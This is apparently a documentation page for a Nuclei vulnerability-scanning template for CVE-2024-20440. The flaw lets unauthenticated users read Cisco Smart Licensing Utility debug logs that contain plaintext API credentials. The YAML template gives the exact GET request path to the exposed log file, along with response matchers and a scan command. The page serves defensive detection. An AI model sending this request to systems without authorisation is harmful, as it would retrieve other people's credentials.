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Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials

ID: CVE-2024-20440

Severity: high

Author: iamnoooob,parthmalhotra,pdresearch

Tags: cve,cve2024,cisco,smart,licensing,info-leak

Description

Section titled “Description”

A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.

YAML Source

Section titled “YAML Source”
id: CVE-2024-20440


info:
  name: Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials
  author: iamnoooob,parthmalhotra,pdresearch
  severity: high
  description: |
    A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cslu-7gHMzWmw
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-20440
    cwe-id: CWE-532
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,cisco,smart,licensing,info-leak


http:
  - raw:
      - |
        GET /cslu/v1/var/logs/customer-cslu-lib-log.log HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "csluev.log"


      - type: word
        part: content_type
        words:
          - "text/x-log"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ee22688a7a2ecebc07f528094494646756a1a8ce6304142cca93685b30e57cc702202b60cb490379267763b8b1fa71a7069b002ed7ac4bbd9c1951c6c8e418678ea5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-20440.yaml"

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